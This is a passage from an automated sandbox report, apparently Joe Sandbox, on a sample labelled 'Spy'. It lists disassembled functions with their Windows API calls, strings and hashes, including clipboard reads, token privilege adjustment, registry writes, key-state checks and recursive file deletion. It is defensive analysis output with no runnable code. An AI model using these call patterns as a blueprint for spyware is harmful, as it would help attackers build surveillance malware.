SHGetFolderPathW.SHELL32(00000000,?,00000000,00000000,?), ref: 00AE4D31

Part of subcall function 00A91821: _memmove.LIBCMT ref: 00A9185B

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: FolderPath_memmove
String ID:
API String ID: 3334745507-0
Opcode ID: 25a4a9c9c2c3edf6f897ab2140deb7d782a2f38fda20d0d1a1105a3e8808b025
Instruction ID: 058504ee329e1b6ea1417c6be52e765e3b6e51ecba8848ba248fce0a22fca49e
Opcode Fuzzy Hash: 25a4a9c9c2c3edf6f897ab2140deb7d782a2f38fda20d0d1a1105a3e8808b025
Instruction Fuzzy Hash: 76D05EA191032C2BDF60E6A49C4DDF77BACD744220F004AA17C5DC3201ED649D8586E0

Function 00AE394D Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE384C: SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000001,00000000,00000000,00AE3959,00000000,00000000,?,00AD05DB,00B38070,00000002,?,?), ref: 00AE38CA

WriteFile.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,?,00AD05DB,00B38070,00000002,?,?,?,00000000), ref: 00AE3967

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: File$PointerWrite
String ID:
API String ID: 539440098-0
Opcode ID: 48c26b4d6d3c76bb2fce32298c66a83a329b923533751280feb823b38c5f6334
Instruction ID: 80909e5342a4b0f6a59f9f7e6caaddb7bb24663887b003165bd5904ea9229fc7
Opcode Fuzzy Hash: 48c26b4d6d3c76bb2fce32298c66a83a329b923533751280feb823b38c5f6334
Instruction Fuzzy Hash: 70E04636410208BBDB20AF94D805ADABBBCEB04320F00465AFD4092111DBB2AE249BA0

Function 00AE3EF7 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,00AE3E7D,?,?,?), ref: 00AE3F0D

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CopyFile
String ID:
API String ID: 1304948518-0
Opcode ID: 19dea65157466de2f4a28cbcf52a23ea65cba4dc80edfa283f670791c904db7e
Instruction ID: b7dff1d0132427ed9001093da6090c0a891256a9ff64927d558ac2f8a99036c4
Opcode Fuzzy Hash: 19dea65157466de2f4a28cbcf52a23ea65cba4dc80edfa283f670791c904db7e
Instruction Fuzzy Hash: 3ED0A7315E020CFBEF50DFA0CC06FA8B7ACE701706F1002A4B504DA0E0DAB269149795

Function 00A942AE Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00AD06E6,00000000,00000000,00000000), ref: 00A942BF

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 3a12be7279665c7582be239ebc77113240a3ae1c9c57ef3a34b4eaaf678b49d0
Instruction ID: 3efcad15fc77a68d808b8fee9489afd583f84db827802e9ef72b6292a60756e4
Opcode Fuzzy Hash: 3a12be7279665c7582be239ebc77113240a3ae1c9c57ef3a34b4eaaf678b49d0
Instruction Fuzzy Hash: 9FD0C77465020CBFE710DB80DC46FA9777CE705710F500194FD04A7290D6F27D508795

Function 00AE4FEC Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,00AE3BFE), ref: 00AE4FED

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 59889acb79ad1f1d202264b3c698c0ac49d61f55ebe38878e4a4d04ae9eb1242
Instruction ID: 5c7a99cd2f07ca23f7313d6381f969afd1ec1037681a2214d3d58ee2be4aa052
Opcode Fuzzy Hash: 59889acb79ad1f1d202264b3c698c0ac49d61f55ebe38878e4a4d04ae9eb1242
Instruction Fuzzy Hash: 15B09234010680669D282F3D19480993309584AFA97D81B81E878964E1D6398C9BA620

Function 00AA547B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00AA5486

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: d6de6d45c2de5ddde6210d01d3a8bb494f2b3a1d0042ca9c7e7816ab69a623c1
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 1BB0927684020CB7CE012A92EC03A593F2A9B45668F408020FB0C1D1A2A673A6A09689

Function 00AED6BE Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 00AED842

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 7550610b8ff722b4929b1d27947fa7d7ce95eb71a37aea3191ca0544f7b9e45d
Instruction ID: 588e455019eb99e0565d97d8f480aaf83ecdab010a75476c8026eaee5559b3ea
Opcode Fuzzy Hash: 7550610b8ff722b4929b1d27947fa7d7ce95eb71a37aea3191ca0544f7b9e45d
Instruction Fuzzy Hash: B07172312043428FCB14EF69D591A6EB7F1AF89354F44462DF8969B3A2DB30ED05CB52

Function 00AEC270 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00AE4005: FindFirstFileW.KERNEL32(?,?), ref: 00AE407C
Part of subcall function 00AE4005: DeleteFileW.KERNEL32(?,?,?,?), ref: 00AE40CC
Part of subcall function 00AE4005: FindNextFileW.KERNELBASE(00000000,00000010), ref: 00AE40DD
Part of subcall function 00AE4005: FindClose.KERNEL32(00000000), ref: 00AE40F4

GetLastError.KERNEL32 ref: 00AEC292

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: FileFind$CloseDeleteErrorFirstLastNext
String ID:
API String ID: 2191629493-0
Opcode ID: 6a701b823c39c168b2c16dc61a78a77f5e628669447dac13a6277959483e7517
Instruction ID: 5528a1b425f8e984cd7aeb058abd1cc296c5ac1500cf37031647d98e1c3bd0dc
Opcode Fuzzy Hash: 6a701b823c39c168b2c16dc61a78a77f5e628669447dac13a6277959483e7517
Instruction Fuzzy Hash: 90F082312101104FCB10FF59D950B59B7E5AF48320F058419F9058B352CB74BC01CB94

Function 00A942CF Relevance: 1.3, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,00000000,00AC2F8B), ref: 00A942EF

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a19e67afce6349a3b7c7e9e49b41df41f17bc301c49ede830518798bf6b06166
Instruction ID: b456a6f92970c8e3c8cdc4339a06a00f5c7fa80290e953198b577721e2005106
Opcode Fuzzy Hash: a19e67afce6349a3b7c7e9e49b41df41f17bc301c49ede830518798bf6b06166
Instruction Fuzzy Hash: C7E0B675504B01CFC7314F1AE804892FBF8FFE93713214A2EE0E692660E7B0589ACB50

Non-executed Functions

Function 00B0D164 Relevance: 74.1, APIs: 40, Strings: 2, Instructions: 637windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00A829E2: GetWindowLongW.USER32(?,000000EB), ref: 00A829F3

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 00B0D208
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B0D249
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 00B0D28E
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00B0D2B8
SendMessageW.USER32 ref: 00B0D2E1
_wcsncpy.LIBCMT ref: 00B0D359
GetKeyState.USER32(00000011), ref: 00B0D37A
GetKeyState.USER32(00000009), ref: 00B0D387
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B0D39D
GetKeyState.USER32(00000010), ref: 00B0D3A7
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00B0D3D0
SendMessageW.USER32 ref: 00B0D3F7
SendMessageW.USER32(?,00001030,?,00B0B9BA), ref: 00B0D4FD
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 00B0D513
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00B0D526
SetCapture.USER32(?), ref: 00B0D52F
ClientToScreen.USER32(?,?), ref: 00B0D594
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00B0D5A1
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00B0D5BB
ReleaseCapture.USER32 ref: 00B0D5C6
GetCursorPos.USER32(?), ref: 00B0D600
ScreenToClient.USER32(?,?), ref: 00B0D60D
SendMessageW.USER32(?,00001012,00000000,?), ref: 00B0D669
SendMessageW.USER32 ref: 00B0D697
SendMessageW.USER32(?,00001111,00000000,?), ref: 00B0D6D4
SendMessageW.USER32 ref: 00B0D703
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00B0D724
SendMessageW.USER32(?,0000110B,00000009,?), ref: 00B0D733
GetCursorPos.USER32(?), ref: 00B0D753
ScreenToClient.USER32(?,?), ref: 00B0D760
GetParent.USER32(?), ref: 00B0D780
SendMessageW.USER32(?,00001012,00000000,?), ref: 00B0D7E9
SendMessageW.USER32 ref: 00B0D81A
ClientToScreen.USER32(?,?), ref: 00B0D878
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00B0D8A8
SendMessageW.USER32(?,00001111,00000000,?), ref: 00B0D8D2
SendMessageW.USER32 ref: 00B0D8F5
ClientToScreen.USER32(?,?), ref: 00B0D947
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00B0D97B

Part of subcall function 00A829AB: GetWindowLongW.USER32(?,000000EB), ref: 00A829BC

GetWindowLongW.USER32(?,000000F0), ref: 00B0DA17

Strings

@GUI_DRAGID, xrefs: 00B0D562
F, xrefs: 00B0D8FB

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F
API String ID: 3977979337-4164748364
Opcode ID: 1a5928f4b1d00cced863c5f5da6f3c3cc8b14150aa4660c4805eb65e16fb5368
Instruction ID: 5546b940ad849119a175da31937fd9bc43fc1b19de6ac12d745db6b131f3aeba
Opcode Fuzzy Hash: 1a5928f4b1d00cced863c5f5da6f3c3cc8b14150aa4660c4805eb65e16fb5368
Instruction Fuzzy Hash: F8429C34208341AFD720DFA8C884BAABFE5FF89310F144699F695972E0CB719D55CB92

Function 00AD8F2E Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 00AD9399: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00AD93E3
Part of subcall function 00AD9399: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00AD9410
Part of subcall function 00AD9399: GetLastError.KERNEL32 ref: 00AD941D

_memset.LIBCMT ref: 00AD8F71
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 00AD8FC3
CloseHandle.KERNEL32(?), ref: 00AD8FD4
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 00AD8FEB
GetProcessWindowStation.USER32 ref: 00AD9004
SetProcessWindowStation.USER32(00000000), ref: 00AD900E
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 00AD9028

Part of subcall function 00AD8DE9: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00AD8F27), ref: 00AD8DFE
Part of subcall function 00AD8DE9: CloseHandle.KERNEL32(?,?,00AD8F27), ref: 00AD8E10

Strings

default, xrefs: 00AD9023
, xrefs: 00AD8F80
winsta0, xrefs: 00AD8FE6

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 79ebb23a6f589bfaab99d2c65ff81f105633b4e6bde4d0fd3b0665e1af3839d0
Instruction ID: 5c47f9dc3cb9f6b98aed8cf64ade4648265de9fc25772cb8096d7465246df121
Opcode Fuzzy Hash: 79ebb23a6f589bfaab99d2c65ff81f105633b4e6bde4d0fd3b0665e1af3839d0
Instruction Fuzzy Hash: E4816A71900209BFDF51EFA4CD49AEF7B79BF08304F04825AF916A62A1DB718E55DB20

Function 00AF4632 Relevance: 30.2, APIs: 20, Instructions: 167clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(00B10980), ref: 00AF465C
IsClipboardFormatAvailable.USER32(0000000D), ref: 00AF466A
GetClipboardData.USER32(0000000D), ref: 00AF4672
CloseClipboard.USER32 ref: 00AF467E
GlobalLock.KERNEL32(00000000), ref: 00AF469A
CloseClipboard.USER32 ref: 00AF46A4
GlobalUnlock.KERNEL32(00000000), ref: 00AF46B9
IsClipboardFormatAvailable.USER32(00000001), ref: 00AF46C6
GetClipboardData.USER32(00000001), ref: 00AF46CE
GlobalLock.KERNEL32(00000000), ref: 00AF46DB
GlobalUnlock.KERNEL32(00000000), ref: 00AF470F
CloseClipboard.USER32 ref: 00AF481F

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 8be1e80bba5744ca091f5186625e02c5340d35c3a69a040fb8880177f2e69b41
Instruction ID: e71e18f3101d6eea935697294bee18b019bee378737219a6774954d2b304eeca
Opcode Fuzzy Hash: 8be1e80bba5744ca091f5186625e02c5340d35c3a69a040fb8880177f2e69b41
Instruction Fuzzy Hash: FD518171244206ABD700FFA0DD89FBF77A8AF98B51F404529F646D31A1DFB0D9448BA2

Function 00AECD9F Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00AECDD0
FindClose.KERNEL32(00000000), ref: 00AECE24
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00AECE49
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00AECE60
FileTimeToSystemTime.KERNEL32(?,?), ref: 00AECE87
__swprintf.LIBCMT ref: 00AECED3
__swprintf.LIBCMT ref: 00AECF16

Part of subcall function 00A91A36: _memmove.LIBCMT ref: 00A91A77

__swprintf.LIBCMT ref: 00AECF6A

Part of subcall function 00AA38C8: __woutput_l.LIBCMT ref: 00AA3921

__swprintf.LIBCMT ref: 00AECFB8

Part of subcall function 00AA38C8: __flsbuf.LIBCMT ref: 00AA3943
Part of subcall function 00AA38C8: __flsbuf.LIBCMT ref: 00AA395B

__swprintf.LIBCMT ref: 00AED007
__swprintf.LIBCMT ref: 00AED056
__swprintf.LIBCMT ref: 00AED0A5

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00AECECD
%02d, xrefs: 00AECF5E, 00AECF68, 00AECFB6, 00AED005, 00AED054, 00AED0A3
%4d, xrefs: 00AECF10

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: 8feff4e4b0864d83ccfc3bbc1b4662c35e6165357becff36366cbe621d03e7ab
Instruction ID: 79766f632569b2411f109f9ee61d622aef513cc15efba6ce5729100eb7763db3
Opcode Fuzzy Hash: 8feff4e4b0864d83ccfc3bbc1b4662c35e6165357becff36366cbe621d03e7ab
Instruction Fuzzy Hash: D5A13CB2508345ABC714FFA4CA85DAFB7ECEF98704F400919F58587191EB74EA09CB62

Function 00AEF5D8 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 00AEF5F9
_wcscmp.LIBCMT ref: 00AEF60E
_wcscmp.LIBCMT ref: 00AEF625
GetFileAttributesW.KERNEL32(?), ref: 00AEF637
SetFileAttributesW.KERNEL32(?,?), ref: 00AEF651
FindNextFileW.KERNEL32(00000000,?), ref: 00AEF669
FindClose.KERNEL32(00000000), ref: 00AEF674
FindFirstFileW.KERNEL32(*.*,?), ref: 00AEF690
_wcscmp.LIBCMT ref: 00AEF6B7
_wcscmp.LIBCMT ref: 00AEF6CE
SetCurrentDirectoryW.KERNEL32(?), ref: 00AEF6E0
SetCurrentDirectoryW.KERNEL32(00B3B578), ref: 00AEF6FE
FindNextFileW.KERNEL32(00000000,00000010), ref: 00AEF708
FindClose.KERNEL32(00000000), ref: 00AEF715
FindClose.KERNEL32(00000000), ref: 00AEF727

Strings

*.*, xrefs: 00AEF68B

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: b4358540e0764c84b2dd5db9b8964d684c1dff5aa65e52d687f9203fb6a67350
Instruction ID: a39a12f7ac5934ebdc4dfff1d67ca53316b53c79780bd0e3c3040b29936ea73e
Opcode Fuzzy Hash: b4358540e0764c84b2dd5db9b8964d684c1dff5aa65e52d687f9203fb6a67350
Instruction Fuzzy Hash: 3B31B372641259AFDF10EFB5AC59AEE77ACDF09321F5041A5F804E30A0EF74DA84CA60

Function 00B00EB7 Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B00FB3
RegCreateKeyExW.ADVAPI32(?,?,00000000,00B10980,00000000,?,00000000,?,?), ref: 00B01021
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00B01069
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00B010F2
RegCloseKey.ADVAPI32(?), ref: 00B01412
RegCloseKey.ADVAPI32(00000000), ref: 00B0141F

Strings

REG_DWORD, xrefs: 00B012E3
REG_EXPAND_SZ, xrefs: 00B0108F
REG_SZ, xrefs: 00B01130
REG_QWORD, xrefs: 00B01360
REG_MULTI_SZ, xrefs: 00B011DA
REG_BINARY, xrefs: 00B013AD

Memory Dump Source

Source File: 0000000B.00000002.3349944840.0000000000A81000.00000020.00000001.01000000.00000006.sdmp, Offset: 00A80000, based on PE: true

Associated: 0000000B.00000002.3349898037.0000000000A80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B10000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350025906.0000000000B36000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350230387.0000000000B40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.3350256053.0000000000B49000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_a80000_Spy.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: c62216011ed2ed2a8bb6de0fd3c40cf993b91a33ddfeebd1db1b44f83b4abdcc
Instruction ID: 0157368f75a130f5ace867b07d64a6f91a6bc837548b540a12e1c8be55ecf997
